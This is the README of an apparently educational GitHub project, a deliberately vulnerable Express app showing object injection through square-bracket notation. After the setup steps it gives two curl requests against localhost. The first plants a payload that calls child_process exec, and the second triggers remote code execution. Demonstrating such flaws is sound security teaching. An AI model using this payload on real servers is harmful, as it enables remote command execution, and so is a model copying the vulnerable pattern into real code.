0xdbe / express-object-injection

Prototype to demonstrate the dangers of square bracket notation

Express-object-injection

A prototype to demonstrate the dangers of square bracket notation using object injection attack. It is inspired by this article from ESLint Security. This article was originally written by Jon Lamendola for ^Lift Security.

Step 0

• Install nodejs

• clone repository

$ git clone https://github.com/0xdbe/express-object-injection.git
$ cd express-object-injection

• Install express

$ npm install

• Start application

$ node index.js

Step 1

• Setting a malicious fuction as constructor

$ curl http://localhost:3000/api/user \
    -H 'Content-Type: application/json' \
    --data '["constructor", "var require = global.require || global.process.mainModule.constructor._load;require(\"child_process\").exec(arguments[0], console.log)"]'

• Call the malicious function allowing a remote code execute (RCE)

$ curl http://localhost:3000/api/user \
  -H 'Content-Type: application/json' \
  --data '["anyVal", "date"]'

note: this vulnerable function is not detected by ESLint Security !!